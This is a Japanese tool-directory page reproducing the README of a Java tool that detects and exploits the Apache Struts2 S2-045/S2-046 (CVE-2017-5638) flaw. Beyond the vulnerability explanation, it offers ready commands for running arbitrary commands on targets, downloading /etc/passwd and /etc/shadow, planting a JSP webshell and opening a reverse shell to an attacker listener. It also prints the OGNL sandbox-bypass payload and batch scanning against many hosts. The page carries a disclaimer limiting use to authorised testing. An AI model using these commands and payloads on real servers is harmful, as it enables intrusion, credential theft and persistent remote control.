Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 検出・悪用ツール | Kitploit
ツール/GitHubGitHub/gu-007/struts2-tool
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストコマンド&コントロールリモートアクセスツールペイロード開発
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 検出・悪用ツール

リポジトリを見る
14時間20分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Struts2 脆弱性検出・悪用ツール (s2tool)

純Java で実装された Struts2 S2-045 / S2-046(CVE-2017-5638)脆弱性検出・悪用ツール。 検出モジュールは S2-045 / S2-046 の2つの脆弱性をカバーし、 悪用モジュールはコマンド実行、ファイル管理、情報取得、対話型シェル、リバースシェル、Webshell アップロードなどの機能を提供します。

免責事項:本ツールは認可されたセキュリティテスト、脆弱性研究、教育目的のみに使用してください。 認可のない不正利用は厳禁であり、利用者はすべての法的責任を自己負担するものとします。


機能概要

モジュールサブコマンド説明
脆弱性検出scanS2-045 / S2-046 の検出(数学検証 + UUID フィンガープリントマーキング)
バッチスキャンbatch複数ターゲットの一括検出、集計と JSON レポートを出力
コマンド実行exec任意システムコマンド実行 + 出力表示(Win/Linux 自動対応)
対話型シェルshell継続的対話、cd ディレクトリ永続化、pwd/webroot/os 組み込みコマンド
ファイルアップロードuploadOGNL 直接書き込み(小ファイル)/ コマンド分割書き込み(大ファイル)
ファイルダウンロードdownloadBase64 エンコードダウンロード(バイナリセーフ)
Web ルートディレクトリgetpathWeb アプリケーションの物理デプロイパスを取得
システム情報sysinfoOS / ユーザー / カーネル / 作業ディレクトリ情報
リバースシェルrevshellワンクリックで bash / PowerShell シェルをリバース接続
Webshell アップロードwebshellJSP Webshell を生成・アップロード(平文 ?CMD= スタイル)
レポート出力scan -rJSON / HTML レポート

ダウンロード機能はサーバー上の任意のファイル(例:/etc/shadow)を読み取ることができます。認可テストでのみ使用してください。


クイックスタート

環境要件

  • JDK 8 以上
  • Maven 3.x(ビルド時のみ必要。ツール実行時に Maven のインストールは不要)

ビルド(Windows)

root@kitploit:~
:: プロジェクトディレクトリで実行
.\build.bat

PowerShell では .\ プレフィックスが必要です。cmd では直接 build.bat と入力できます。 build.bat はビルドのみを行い、ネットワークリクエストやスキャンは一切実行しません。 ビルド完了後、ウィンドウは開いたまま cmd セッションに入ります(ツールコマンドを直接実行可能。exit で閉じます)。 Maven のデフォルトリポジトリに書き込めない環境では、環境変数 M2_REPO を書き込み可能なディレクトリに設定してください。

成果物:target\s2tool.jar(fat-jar)。

Linux/Mac は build.sh を参照してください

使用例

root@kitploit:~
# 1. 脆弱性検出
java -jar s2tool.jar scan http://target/action

# 2. 検出 + JSON/HTML レポート出力
java -jar s2tool.jar scan http://target/action -r both

# 3. コマンド実行
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. 対話型シェル
java -jar s2tool.jar shell http://target/action

# 5. Web ルートディレクトリ / システム情報の取得
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. ファイルのアップロード / ダウンロード
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. ワンクリック Webshell アップロード(平文 ?CMD= スタイル)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# アクセス: http://target/shell.jsp?CMD=whoami

# 8. リバースシェル(攻撃機で先に待受: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. バッチスキャン
java -jar s2tool.jar batch targets.txt -r json

バッチターゲットファイル形式

root@kitploit:~
# コメント行は # で始まる(自動的に無視)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

技術原理

S2-045 / S2-046(CVE-2017-5638)

公式発表のバージョン範囲(両脆弱性とも Apache 公式発表に基づき、対象が影響を受けるかの評価用に提供):

脆弱性CVE影響を受けるバージョン(脆弱性のあるバージョン)修正バージョン(パッチ適用済みバージョン)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 または 2.5.10.1 以上
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 または 2.5.10.1 以上

本ツールはバージョン番号に依存せず、直接 Payload の探知結果から脆弱性の有無を判定します。 バージョン識別は信頼性が低いためです(多くのサイトがバージョン番号を隠蔽しています)。上表は手動評価時の参考用であり、 ツールの検出ロジックには影響しません。

S2-046 については、filename ヌルバイト注入と Content-Type 同一根本原因の2つの検出パスをサポートしています。

脆弱性の原理:

  • トリガーポイントは同一:Jakarta Multipart パーサーが解析例外を起こす際、ユーザー制御可能なリクエストヘッダー内容 (S2-045:Content-Type;S2-046:Content-Disposition の filename)を例外メッセージに連結し、 例外メッセージは Struts2 の国際化テキスト処理フロー(TextParseUtil.translateVariables)を通じて OGNL 評価されます
  • 悪用方法は異なる:S2-045 は不正な Content-Type でトリガー;S2-046 は filename のヌルバイト (commons-fileupload 1.3.3+ が必要)または巨大な Content-Length(jakarta-stream 設定が必要)でトリガー

サンドボックス回避

root@kitploit:~
(#nike='multipart/form-data')                       // Content-Type を偽装し、contains チェックを通過
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // 最高権限の MemberAccess を取得
(#_memberAccess?(#_memberAccess=#dm):               // 低バージョン:直接置換
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // パッケージ名ブラックリストをクリア
   (#ognlUtil.getExcludedClasses().clear())          // クラスブラックリストをクリア
   (#context.setMemberAccess(#dm))))                 // 高バージョン:ブラックリストクリア後に置換

実測:Struts2 2.3.30 では簡易版(setMemberAccess のみ)ではサンドボックスを回避できず、 完全版(OgnlUtil によるブラックリストクリアパスを含む)が必要です。

検出戦略

技術原理説明
数学演算検証OGNL で 88888888-23333+1222 を実行し、レスポンスに 88866777 が含まれれば存在公開 POC 計算式
UUID フィンガープリントマーキングランダム UUID を注入し、レスポンスボディに反映高精度、ネットワーク遅延の影響を受けない
遅延検出Thread.sleep(6000) の時間差(S2-045 の出力なしフォールバックのみ)閾値 >3.6s

判定ルール:数学検証またはフィンガープリントマーキングのいずれかがヒット → 存在を確認;遅延のみヒット → 存在の疑い; すべて未ヒット → 存在しない。


プロジェクト構造

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Maven ビルド(shade で fat-jar パッケージ)
├── build.bat / build.sh           # ビルドスクリプト(Windows 検証済み / Linux 参考)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # メインエントリ(Picocli CLI)
│   ├── core/                      # コアエンジン:HTTP クライアント / Payload 構築 / レスポンス解析 / ターゲット解析
│   ├── plugins/                   # 脆弱性プラグインアーキテクチャ(拡張ポイント)
│   │   └── impl/                  #   S2_045 / S2_046 検出プラグイン
│   ├── modules/                   # 機能モジュール:検出スケジューラ / フィンガープリント識別 / コマンド実行 / ファイル管理 / Shell など
│   ├── report/                    # レポート生成(コンソール / JSON / HTML)
│   └── utils/                     # ログツール
├── src/main/resources/            # ログ設定 / Payload 参考
└── src/test/                      # JUnit ユニットテスト

参考

脆弱性の原理と技術記事:

  • Apache Struts S2-045 公式発表 (CVE-2017-5638)
  • S2-045 OGNL インジェクションと三重サンドボックス回避の分析(腾讯云开发者社区)(Payload参考)
  • S2-046 脆弱性の原理分析(安全客)

参考にしたオープンソースプロジェクト(本プロジェクト開発時に以下のリポジトリのアイデアと Payload を参考にしました):

  • Flyteas/Struts2-045-Exp —— コマンド実行 / Web ルートディレクトリ取得 / JSP ファイル書き込み Payload テンプレート
  • Z-0ne/ScanS2-045-Nmap —— バッチ検出のアイデア、レスポンス特徴のマーキング方法
  • abc123info/Struts2VulsScanTools —— 複数脆弱性検出ツールの全体設計アイデア(検出と悪用の分離)

License

認可されたセキュリティテストおよび学習研究目的にのみ使用できます。

認可のない不正利用は厳禁であり、利用者はすべての法的責任を自己負担するものとします。

ツールをダウンロード